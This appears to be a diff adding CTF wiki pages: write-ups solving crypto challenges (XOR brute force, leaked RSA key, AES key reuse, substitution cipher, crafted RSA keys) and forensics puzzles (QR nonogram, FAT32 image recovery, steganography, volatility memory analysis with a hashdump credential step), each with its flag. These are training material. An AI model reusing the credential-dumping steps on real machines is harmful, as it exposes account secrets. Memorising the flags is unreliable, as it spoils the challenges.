+    f.write(bytes(ciphertext).hex())
+
+

In this scenario, using only one byte key can be decrypted with brute force in possibility polynomial time (PPT). I used Cyberchef for xor brute force.

+

obp1

+

The correct key is 0xd2.

+

pem

+
+

PEM stands for Prime Encryption Method, I think.

+

by ireland

+
+

The given python code accidently output the private key instead of the public key. We can use PKCS1_OAEP decrypt by loading the given private key.

+
from Crypto.PublicKey import RSA
+from Crypto.Cipher import PKCS1_OAEP
+
+with open('flag.txt','rb') as f:
+    flag = f.read()
+
+key = RSA.generate(2048)
+cipher_rsa = PKCS1_OAEP.new(key)
+enc = cipher_rsa.encrypt(flag)
+
+with open('privatekey.pem','wb') as f:
+    f.write(key.export_key('PEM'))
+
+with open("encrypted.bin", "wb") as f:
+    f.write(enc)
+
+

The payload as follow:

+
>>> from Crypto.Cipher import PKCS1_OAEP
+>>> from Crypto.PublicKey import RSA
+>>> ciphertext = open('encrypted.bin', 'rb').read()
+>>> key = RSA.importKey(open('privatekey.pem').read())
+>>> cipher = PKCS1_OAEP.new(key)
+>>> print(cipher.decrypt(ciphertext))
+b'hope{crypto_more_like_rtfm_f280d8e}'
+
+

kfb

+
+

if keys make stuff secure then why don't we use them more

+

nc mc.ax 31968

+

by kfb

+
+

The given python code reads the flag file, and encrypted it with AES ECB mode with a key length of 16 bytes.

+
#!/usr/local/bin/python -u
+
+from Crypto.Cipher import AES
+from Crypto.Random import get_random_bytes
+from Crypto.Util.Padding import pad
+from Crypto.Util.strxor import strxor
+from more_itertools import ichunked
+
+BLOCK = AES.block_size
+FLAG = open('flag.txt', 'rb').read().strip()
+
+def encrypt_block(k, pt):
+  cipher = AES.new(k, AES.MODE_ECB)
+  return cipher.encrypt(pt)
+
+def encrypt(k, pt):
+  assert len(k) == BLOCK
+  pt = pad(pt, BLOCK)
+  ct = b''
+  for bk in ichunked(pt, BLOCK):
+    ct += strxor(encrypt_block(k, k), bytes(bk))
+  return ct
+
+def main():
+  k = get_random_bytes(BLOCK)
+  enc = encrypt(k, FLAG)
+  print(f'> {enc.hex()}')
+
+  pt = bytes.fromhex(input('< '))[:BLOCK]
+  enc = encrypt(k, pt)
+  print(f'> {enc.hex()}')
+
+if __name__ == '__main__':
+  main()
+
+

The same key is then used to encrypt a user given hex message, the maximum length of this message is 32 bytes.

+

The solution is simple: gives an all 0s message, the encrypted ciphertext is as the same as the key, as the ECB mode simply xor the key and the message blocks. Here's an external link for ECB mode: Wikipedia ECB Mode.

+

For example, the server gives me ciphertext cb98a2eab4b86597f93a1e046bfd88e2d083bbeca48c779af93a021e78f7b3d5c6a8b9e1a0a470aac47a455e26f58e8ac6cfeabcaab736c1db4e71 +6c1996ebba. I divided them into 4 blocks, 16 bytes (32 hex characters) per block:

+
cb98a2eab4b86597f93a1e046bfd88e2
+d083bbeca48c779af93a021e78f7b3d5
+c6a8b9e1a0a470aac47a455e26f58e8a
+c6cfeabcaab736c1db4e716c1996ebba
+
+

Then padding 0s into server, the response (key) is a3f7d28fcfd303f5a649766b1e91ecbdb3e7c29fdfc313e5b659667b0e81fcad. Use this key for each block, find the flag:

+
hope{kfb_should_
+stick_to_stuff_h
+e_knows_b3358db7
+e883ed54}.......
+
+

DESpicable you

+
+

I've told my minions to brew up a new type of block cipher! (written in python 2.7)

+

by greenbeans

+
+

The given python code seems to be secure. It generates random key, and encrypt the message with 8 byte block.

+

The first problem is the rekey function. If you test this function, you would find out that the key doesn't change after the rekey. The string in python is passed to the function with only value instead of address, change the value in rekey for key doesn't affect the caller's key.

+
from os import urandom
+
+def encipher(a,b):
+    c = ''
+    for i, j in zip(a,b):
+        c+=chr(ord(i)^ord(j))
+    return c
+
+def rekey(key):
+    k = ""
+    for i,c in enumerate(key):
+        if i == len(key)-1:
+            k += c
+            k += chr(ord(c)^ord(key[0]))
+        else:
+            k += c
+            k += chr(ord(c)^ord(key[i+1]))
+    key = k
+
+def main():
+    key = urandom(8)
+
+    with open('flag.txt') as f:
+        plaintext = f.read()
+
+    i = 0
+    ct = ''
+    while i < len(plaintext):
+        ct += encipher(plaintext[i:i+len(key)],key)
+        i += len(key)
+        rekey(key)
+    f2 = open('output.txt', 'w')
+    f2.write(ct)
+    f2.close()
+
+main()
+
+

The second problem is the prefix of the plaintext, we already known, is the hope{'. Using this plaintext, we can find out the first 5 bytes of the key is 88 15 03 8d 50.

+

Another knowledge we have is the characters in the plaintext should be all printable characters. Thus, we brute force the every 6th/7th/8th byte in blocks. The only valid case is that the xor result gives only printable characters.

+

Only the 5th byte has multiple possible key values. But with some practice, we can find the last 3 bytes of the key are 6e c1 61.

+

The final flag is: hope{maybe_1_sh0ulD_h4v3_h1R3d_4_5p3c1471st_5tgkjs3bgRh}.

+

replacement

+
+

Oh no, my light reading got all mixed up!

+

by BrownieInMotion

+
+

Cipher python code is very simple, only shuffles all the characters in the plaintext.

+
import random
+
+with open('text.txt') as f:
+    plaintext = f.read()
+
+with open('flag.txt') as f:
+    plaintext += '\n' + f.read()
+
+characters = set(plaintext) - {'\n'}
+
+shuffled = list(characters)
+random.shuffle(shuffled)
+
+replacement = dict(zip(characters, shuffled))
+
+ciphertext = ''.join(replacement.get(c, c) for c in plaintext)
+
+with open('output.txt', 'w') as f:
+    f.write(ciphertext)
+
+

Notice that blanks are shuffled as well. Luckily, the new liners are stayed the same. We can have the following ciphertext:

+
oiqsygh"dg"g}y__"Mygkwg_ySdB
+bxgh"Vyg"g}y__"Mygkwg_ySdbrg_hyg"SSwlSsydgwVy.gkhygfljiqsgsh"SSyi_BgnVyrg hwg"i "t_gf"qdgy,sy__qVyg"kkySkqwSgkwgyVy.tkhqSMgoiqsyg_"qdrgkhwlMhkgkh"kgkhq_g_wlSdydgqSky.y_kqSMrg"Sdg.y_wiVydgkwg.y"dgkhyg}y__"MyB
+bxg_h"iig_ySdgqkgkwgawjgqSgkhyg}w_kgswSVwilkydg "tgfw__qjiyrbgy,fwlSdydgoiqsygcl.khy.rgbl_qSMg"g}q,kl.ygwcgf.qV"kyg"Sdgfljiqsgsh"SSyi_g"_g yiig"_gEytgqScw.}"kqwSg_ySkgjtgk.l_kydgswl.qy.b
+nVygcwlSdgkhq_gk"iEgwcgy,syfkqwS"igsw}fiqs"kqwSgy,k.y}yitgqSk.qMlqSMBgvy"S hqiyrgawjgMwkghq}_yicg"g_"Sd qshB
+bxkg_h"iigjyg"My_gtykgjycw.ygoiqsyg_ySd_g}yghy.g}y__"Myrgcw.g_hyg}l_kgySswdygqkgqSgkhyg}w_kgswSVwilkydg "tgfw__qjiyBgxSg"ddqkqwSrgqkgq_giq"jiygkwgjygdliigkwg.y"dgyVySgwSsygdysqfhy.ydbgkhwlMhkgawjBgbmyswSditrgdysqfhy.qSMgqkgq_gMwqSMgkwgjyg"ghy"d"shyBbg{hy.ycw.ygawjg}"dyghq}_yicg"gslfgwcgky"gkwgMwg qkhghq_g_"Sd qshB
+
+Oq"g"gsw}fiy,g_y.qy_gwcgdq_Mlq_y_g"Sdgkhygl_ygwcgsiyVy.gkyshSwiwMtgkwg_"}fiygqScw.}"kqwSgc.w}g"iiyMyditg_ysl.ygsh"SSyi_rgnVyg.yswVy.ydg"gc."skqwSgwcgkhyg}y__"Myg"SdgwcgkhygEytBgatg"ffitqSMg"iigwcghy.gswS_qdy."jiygqSkyiiqMySsyg"Sdg"ghqdywl_gel"Skqktgwcgsw}flk"kqwS"igfw y.rg_hyg "_g"jiygkwg.yswVy.gkhygfi"qSky,krg.yswdyg"g}y__"Myg"Sdgf"__gqkgwSgkwgawjg"_gqcgSwkhqSMgh"dgh"ffySydBgpSitgkhySgdqdg_hyg"skl"iitg.y"dgkhygfi"qSky,kB
+
+hwfyASwkTkhyTM.y"ky_kT_ qkshy.wwTqjf_S,tjEyS"i,}cSdIccd_u
+
+

Using brute force is unacceptable. However, we can take it a bite from the new liners. We can have the first guess:

+
    +
  • Almost all the previous character from the new liners are . (dots).
  • +
+

With this assumption, we can quickly jump to the second:

+
    +
  • Almost all the dots should be followed with a (blank).
  • +
+

Then, starts from the blanks, we have another assumption:

+
    +
  • Almost all the blanks should after some punctuations like , (commas).
  • +
+

Now, we guess the last line should be flag. We can guess:

+
    +
  • In the most scenarios, only the flag can contain _ (underlines), {} (open and close braces).
  • +
+

Now, we already have enough information to run a A*-like search in substitution cipher. We can decrypt most of the characters in an ignored-case search. The only problem is some special characters:

+
    +
  • " (quotations): should be presents in the beginning of a word or after/before a punctuation. Otherwise, in the end of a line.
  • +
  • Alice, Bob, Eve: special names in the cryptography, should be useful for alphabet character replacements.
  • +
  • Uppercase alphabets: only shows a few times, shouldn't be a problem.
  • +
+

OK, now we have mostly ciphertext decrypted. However, the flag is not correct. What's the key point? The problem is the special character only presents once in the flag, this is the last cipher replacement. Find the last and the only reflection we haven't used: I -> j.

+

Finally, we find the plaintext:

+
Alice had a message to send.
+"I have a message to send", she announced over the public channels. Eve, who always paid excessive attention to everything Alice said, thought that this sounded interesting, and resolved to read the message.
+"I shall send it to Bob in the most convoluted way possible," expounded Alice further, "using a mixture of private and public channels as well as key information sent by trusted courier"
+Eve found this talk of exceptional complication extremely intriguing. Meanwhile, Bob got himself a sandwich.
+"It shall be ages yet before Alice sends me her message, for she must encode it in the most convoluted way possible. In addition, it is liable to be dull to read even once deciphered" thought Bob. "Secondly, deciphering it is going to be a headache." Therefore Bob made himself a cup of tea to go with his sandwich.
+
+Via a complex series of disguises and the use of clever technology to sample information from allegedly secure channels, Eve recovered a fraction of the message and of the key. By applying all of her considerable intelligence and a hideous quantity of computational power, she was able to recover the plaintext, recode a message and pass it on to Bob as if nothing had happened. Only then did she actually read the plaintext.
+
+hope{not_the_greatest_switcheroo_ibpsnxybkenalxmfndjffds}
+
+

reverse-rsa

+
+

I'll tell you my flag if you can prove you already know it!

+

nc mc.ax 31669

+

by ireland

+
+

This is a static res public-private key generation problem. The python code only checks the flag format in the plaintext, maybe, in some practice, we can construct a key pair, to make the hope{.*} presents in the plaintext.

+
#!/usr/local/bin/python
+
+import re
+from Crypto.Util.number import isPrime, GCD
+
+flag_regex = rb"hope{[a-zA-Z0-9_\-]+}"
+
+with open("ciphertext.txt", "r") as f:
+    c = int(f.read(), 10)
+
+print(f"Welcome to reverse RSA! The encrypted flag is {c}.  Please provide the private key.")
+
+p = int(input("p: "), 10)
+q = int(input("q: "), 10)
+e = int(input("e: "), 10)
+
+N = p * q
+phi = (p-1) * (q-1)
+
+if (p < 3) or not isPrime(p) or (q < 3) or not isPrime(q) or (e < 2) or (e > phi) or GCD(p,q) > 1 or GCD(e, phi) != 1:
+    print("Invalid private key")
+    exit()
+
+
+d = pow(e, -1, phi)
+m = pow(c, d, N)
+
+m = int.to_bytes(m, 256, 'little')
+m = m.strip(b"\x00")
+
+if re.fullmatch(flag_regex, m) is not None:
+    print("Clearly, you must already know the flag!")
+
+    with open('flag.txt','rb') as f:
+        flag = f.read()
+        print(flag.decode())
+
+else:
+    print("hack harder")
+
+

This post claims this problem: construct private / public keys.

+

Here's an example solution:

+
p = 18237507977115134399
+q = 13539415005905881139
+e = 201049869065984997914383873658228289079
+
+

We can find the flag finally: hope{successful_decryption_doesnt_mean_correct_decryption_0363f29466b883edd763dc311716194d37dff5cd93cd4f1b4ac46152f4f9}

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/General Skills/ChieftainsSecret/index.html b/Writeup/General Skills/ChieftainsSecret/index.html new file mode 100644 index 000000000..b42c75508 --- /dev/null +++ b/Writeup/General Skills/ChieftainsSecret/index.html @@ -0,0 +1,8194 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + ChieftainsSecret - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

ChieftainsSecret

+

Category: General Skills

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 10

+

Description

+

Our agent risked his life to install a mysterious device in the immemorial telephone, can you find out the chieftain's telephone number? Flag format: flag{11 digits}

+

ChieftainsSecret.zip

+

题目描述

+

题目给了一个图种,解压得到一个电路图和两千多组数据。

+

Misc亲爹的解答

+

结合图片推断这是转动码盘的过程记录,查阅文档可得到一系列每次码盘转动的度数。

+

数据可进行处理,得到sin值与cos值:

+
def get_sin(i):
+    return (data['PC0'][i] - (data['PC0'][i] + data['PC1'][i]) / 2) / 1000
+def get_cos(i):
+    return (data['PC2'][i] - (data['PC2'][i] + data['PC3'][i]) / 2) / 1000
+
+

并绘图:

+

img大概就是抠出峰值

+

img正弦和余弦算出后得到一个空间坐标分布

+
_map = '1234567890'
+ps = [3, 3, 0, 2, 5, 1, 4, 9, 6, 5, 3]
+print(''.join([_map[i] for i in ps]))
+print(''.join([_map[::-1][i] for i in ps]))
+ps = [3, 3, 0, 2, 5, 1, 4, 8, 6, 5, 3]
+print(''.join([_map[i] for i in ps]))
+print(''.join([_map[::-1][i] for i in ps]))
+
+

Flag

+
flag{77085962457}
+
+

Reference

+

Writeup from https://zhuanlan.zhihu.com/p/402713931

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/General Skills/shuffle_code/index.html b/Writeup/General Skills/shuffle_code/index.html new file mode 100644 index 000000000..c1faa5459 --- /dev/null +++ b/Writeup/General Skills/shuffle_code/index.html @@ -0,0 +1,8280 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + shuffle_code - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

shuffle_code

+

Category: General Skills

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 45

+

Description

+

_shuffle_code.zip

+

题目描述

+

题目附件给出来的拖入010 editor查看,发现是个倒着的PNG。将其倒回来,打开发现是一个二维码

+

img开局一个码

+

我的解答

+

二维码扫码得:

+
col426327/1132122/1211132223/3113253/61531113/111312/5323125/2222/11122153/311111/14312121/11231211/2423211/262121/422221/622132/31121/221122111/5122311/2111221221/121692/12122111/232326/11142121/31253151/22111111123/111313121/1111111/2151371
+
+row31121113/12321133/13111112/13112221121/12112232/16113232/11311311/21111231/11111211/711111117/2124112211/611111241/1311371/131152131/13/2121111311/521(11)11/1311321131/1211211/11111111/14221262/3411131/161713/422141/7122117/1111112111/7111412/71111121/131112131
+
+

可能那个括号括起来的就是11这一个数,其他都做一位数解,并且这些数长度集中在6, 7, 8, 9, 10。

+

猜测题目的问题形式是数织,接下来就是Misc亲爹的个人秀:

+

Misc亲爹的showtime

+

img我看不懂,但我大受震撼

+

又由29*29推断可能是个二维码,按行打乱。根据二维码规范解出固定位置并反向更新数织。

+

最后只有中间部分的顺序不知道,共[公式]种可能性,使用程序穷举。

+

img这也能修,不愧是Misc亲爹

+
data = [[1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1],
+[1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1],
+[1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1],
+[1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1],
+[1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1],
+[1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1],
+[1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1],
+[0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
+[1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1],
+[1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1],
+[1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,1],
+[0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,1],
+[1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1],
+[1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0],
+[0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0],
+[1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,1,1,0,1,1,1,1,0,1],
+[0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1],
+[1,0,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0],
+[1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,1,1],
+[1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1],
+[1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1],
+[0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0],
+[1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0],
+[1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0],
+[1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0],
+[1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1],
+[1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1],
+[1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,1,0,1],
+[1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0]]
+
+import pyzbar.pyzbar as pyzbar
+from itertools import permutations
+from PIL import Image, ImageDraw as draw
+import matplotlib.pyplot as plt
+from tqdm import tqdm
+
+shuffle_1 = [9, 11, 13, 15, 17, 19]
+shuffle_2 = [10, 12, 14, 16, 18]
+head = data[0:9]
+tail = data[20:]
+
+def body(body_1, body_2):
+    body = []
+    for i in range(5):
+        body.append(body_1[i])
+        body.append(body_2[i])
+    body.append(body_1[5])
+    return [data[i] for i in body]
+
+def draw_img(data):
+    assert len(data) == 29 and len(data[0]) == 29
+    img = Image.new('RGB', (31, 31), (255,255,255))
+    for i, row in enumerate(data):
+        for j, pixel in enumerate(row):
+            img.putpixel((j + 1, i + 1), (0,0,0) if pixel == 1 else (255,255,255))
+    return img
+
+with tqdm(total=720 * 120) as pbar:
+    for body_1 in permutations(shuffle_1):
+        for body_2 in permutations(shuffle_2):
+            im = draw_img(head + body(body_1, body_2) + tail)
+            barcodes = pyzbar.decode(im)
+            pbar.update(1)
+            if(len(barcodes) == 0):
+                continue
+            for barcode in barcodes:
+                barcodeData = barcode.data.decode("utf-8")
+                print(barcodeData)
+                plt.imshow(im)
+                plt.show()
+
+

修复成功的二维码如下图所示:

+

img爹中爹,代中代

+

Flag

+
flag{f31861a9-a753-47d5-8660-a8cada6c599e}
+
+

这一血真的,太秀了,给他倒洗脚水去了

+

Reference

+

Writeup from https://zhuanlan.zhihu.com/p/402713931

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/General Skills/xixixi/index.html b/Writeup/General Skills/xixixi/index.html new file mode 100644 index 000000000..2d1ced73f --- /dev/null +++ b/Writeup/General Skills/xixixi/index.html @@ -0,0 +1,8296 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + xixixi - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

xixixi

+

Category: General Skills

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 50

+

Description

+

室友最近沉迷y神,又氪又肝,还ghs。为了他的身体着想,我把他的s图整没了。但我明明删了脚本啊,为什么还能被他发现......8说了,医院的空调真舒服~

+

Solution

+

磁盘内所有内容如下:(可用winhex直接复原)

+
# !i.py
+
+
+import struct
+from xixi import FAT32Parser
+from xixixi import Padding, picDepartList
+
+
+def EncodePieces():
+  global clusterList
+  res = []
+  Range = len(picDepartList)    # 58
+  # GetRandomClusterList(n) - Generate a random cluster list with length n
+  clusterList = GetRandomClusterList(Range)
+
+
+  for i in range(Range):
+    if i != Range - 1:
+      newCRC = struct.pack("<I", clusterList[i+1])
+      plainData = picDepartList[i][:-4] + newCRC
+    else:
+      plainData = picDepartList[i]
+
+
+    # Show the first piece to him, hhh
+    if i == 0:
+      newPiece = plainData
+    else:
+      newPiece = ''
+      key = clusterList[i] & 0xFE
+      for j in plainData:
+        newPiece += chr(ord(j) ^ key)
+    # Padding() -- Fill to an integral multiple of 512 with \xFF
+    res.append(Padding(newPiece))
+  return res
+
+
# !ixi.py
+
+
+import struct
+
+
+class FAT32Parser(object):
+  def __init__(self, vhdFileName):
+    with open(vhdFileName, 'rb') as f:
+      self.diskData = f.read()
+    self.DBR_off = self.GetDBRoff()
+    self.newData = ''.join(self.diskData)
+
+
+  def GetDBRoff(self):
+    DPT_off = 0x1BE
+    target = self.diskData[DPT_off+8:DPT_off+12]
+    DBR_sector_off, = struct.unpack("<I", target)
+    return DBR_sector_off * 512
+
+
+  def GetFAT1off(self):
+    target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10]
+    FAT1_sector_off, = struct.unpack("<H", target)
+    return self.DBR_off + FAT1_sector_off * 512
+
+
+  def GetFATlength(self):
+    target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28]
+    FAT_sectors, = struct.unpack("<I", target)
+    return FAT_sectors * 512
+
+
+  def GetRootoff(self):
+    FAT_length = self.GetFATlength()
+    FAT2_off = self.GetFAT1off() + FAT_length
+    return FAT2_off + FAT_length
+
+
+  def Cluster2FAToff(self, cluster):
+    FAT1_off = self.GetFAT1off()
+    return FAT1_off + cluster * 4
+
+
+  def Cluster2DataOff(self, cluster):
+    rootDir_off = self.GetRootoff()
+    return rootDir_off + (cluster - 2) * 512
+
+

分析两个文件,可以得出:

+

!ixi.py中的类FAT32Parser,可以对磁盘进行一系列操作。!i.py中的文件是对文件进行分块儿处理,并且图片被分为了58块儿,除了第一块儿未被加密外,其余块儿都进行了如下处理:

+
    +
  1. +

    每块儿的最后四位,即CRC校验值被替换成了下一块儿所在的簇号。

    +
  2. +
  3. +

    除第一块儿外,其余块儿的内容都会与该块儿的簇号 & 0xFE整体进行异或。

    +
  4. +
+

所以想要反解图片块儿,需要对每个块儿先进行异或解密,再查看后四位得到下一块儿的簇号。

+
# -*- coding: utf-8 -*-
+# @Project: Hello Python!
+# @File   : exp
+# @Author : Tr0jAn <Tr0jAn@birkenwald.cn>
+# @Date   : 2020-11-22
+import struct
+import binascii
+from xixi import FAT32Parser
+
+
+def read(n):
+    global key
+    binary = b''
+    for i in vhd.read(n):
+        binary += (i ^ (key & 0xFE)).to_bytes(length=1, byteorder='big', signed=False)
+    return binary
+
+
+FAT = FAT32Parser("new.vhd")
+vhd = open("new.vhd", "rb")
+vhd.seek(0x27bae00)  # 定位磁盘中图片位置
+flag = open("flag.png", "wb")
+flag.write(vhd.read(8))  # 写入png头
+key = 0
+while True:
+    d = read(8)
+    length, cType = struct.unpack(">I4s", d)
+    print(length, cType)  # length为数据长度,cType为数据块类型
+    data = read(length)
+    CRC = struct.unpack(">I", read(4))[0]
+    print(CRC)
+    rCRC = binascii.crc32(cType + data) & 0xffffffff
+    print(rCRC)
+    rDATA = struct.pack(">I", length) + cType + data + struct.pack(">I", rCRC)
+    flag.write(rDATA)
+    if CRC != rCRC:  # CRC错误的IDAT数据块
+        b_endian = struct.pack(">I", CRC)
+        clusterList = struct.unpack("<I", b_endian)[0]
+        print(clusterList)
+        vhd.seek(FAT.Cluster2DataOff(clusterList))
+        key = clusterList & 0xFE
+    if cType == b"IEND":
+        break
+
+

对磁盘反解出flag.png

+

图片

+

Flag

+

flag{0cfdd1ad80807da6c0413de606bb0ae4}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/General Skills/\345\210\260\347\202\271\344\272\206/index.html" "b/Writeup/General Skills/\345\210\260\347\202\271\344\272\206/index.html" new file mode 100644 index 000000000..4d6cfd36f --- /dev/null +++ "b/Writeup/General Skills/\345\210\260\347\202\271\344\272\206/index.html" @@ -0,0 +1,8170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 到点了 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

到点了

+

Category: General Skills

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 40

+

Description

+

我那么多遗憾,那么多期盼,你知道吗(下雨熊猫头

+

Solution

+

打开1.docx的隐藏文字,看到第二个文档密码的提示

+

图片

+

爆破2.docx的密码得到 20201024

+

该密码同时也是该文件的创建时间

+

图片

+

进入2.docx后ctrl+a全选

+

然后复制出来可以得到一串培根密文AABBAABBBAABBBAAAABBABBABABAAAAABBAAABBBBAABBBAABABABBAAABAAAABAABAABBABAAAAABAA

+

在线解密得GOODNIGHTSWEETIE

+

图片

+

3.docx当压缩包打开,发现4.zip,解压得到4.bmp

+

图片

+

使用wbStego4工具处理该bmp图片

+

第四步的解密密码为培根解密后的GOODNIGHTSWEETIE

+

图片

+

然后下一步生成flag.txt 拿到flag

+

图片

+

Flag

+

flag{2ec9405ac7bcfb16f5fd494bcf21337c}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git "a/Writeup/General Skills/\345\261\202\345\261\202\345\217\226\350\257\201/index.html" "b/Writeup/General Skills/\345\261\202\345\261\202\345\217\226\350\257\201/index.html" new file mode 100644 index 000000000..5756a3589 --- /dev/null +++ "b/Writeup/General Skills/\345\261\202\345\261\202\345\217\226\350\257\201/index.html" @@ -0,0 +1,8229 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + 层层取证 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

层层取证

+

Category: General Skills

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 10

+

Description

+

附件下载 提取码(GAME)

+

(本题附件较大)

+

题目描述

+

题目给我们一个memdump和一个磁盘文件。

+

我的解答

+

可以用volatility看memdump,filescancmdscan可以发现题目是用了一个叫作FTK Imager的软件弄出来的镜像。

+

我们尝试用DiskGenius打开磁盘文件,在桌面得到了个flag.txt。。

+

img李氏神魔恋

+

可能是提示要仿真,也有可能是嘲讽。先不管他。下面还有个BitLocker加密的分区

+

img哟?

+

尝试回到内存取证,用filescan找其他文件但是无果,用hivelist以及hashdump找到操作系统的账号密码:

+
volatility -f "memdump/memdump.mem" --profile=Win7SP1x64 hivelist
+Volatility Foundation Volatility Framework 2.6
+Virtual            Physical           Name
+------------------ ------------------ ----
+0xfffff8a000ce7410 0x000000001a045410 \SystemRoot\System32\Config\SAM
+0xfffff8a000dcb010 0x0000000019482010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
+0xfffff8a000e5f010 0x00000000199c9010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
+0xfffff8a0013f1010 0x000000000a8d3010 \??\C:\Users\XiaoMing\ntuser.dat
+0xfffff8a001409010 0x000000000a56e010 \??\C:\Users\XiaoMing\AppData\Local\Microsoft\Windows\UsrClass.dat
+0xfffff8a00605c010 0x000000003c087010 \SystemRoot\System32\Config\DEFAULT
+0xfffff8a00000f010 0x0000000022787010 [no name]
+0xfffff8a000024010 0x0000000023512010 \REGISTRY\MACHINE\SYSTEM
+0xfffff8a000060410 0x00000000211d0410 \REGISTRY\MACHINE\HARDWARE
